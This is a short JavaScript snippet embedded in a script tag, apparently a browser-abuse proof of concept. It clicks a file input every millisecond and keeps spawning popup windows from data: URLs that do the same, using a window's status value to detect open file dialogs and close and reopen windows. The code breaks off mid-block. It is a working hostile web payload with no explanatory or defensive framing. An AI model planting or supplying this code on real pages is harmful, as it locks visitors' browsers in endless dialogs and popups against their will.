<script>
var w;
var wins = {};
var i = 1;
f.click();
setInterval("f.click()", 1);
setInterval(function(){
    for (var k in wins) {
        // after creating window .status = '' (empty string), when the file dialog is displayed its value changes to 'undefined'.
        if (wins[k] && wins[k].status === undefined) {
            wins[k].close();
            delete wins[k];
        }
    }
    w = open('data:text/html,<input type=file id=f><script>f.click();setInterval("f.click()", 1);<\/script>');
    if (w) {
        wins[i] = w;
        i++;
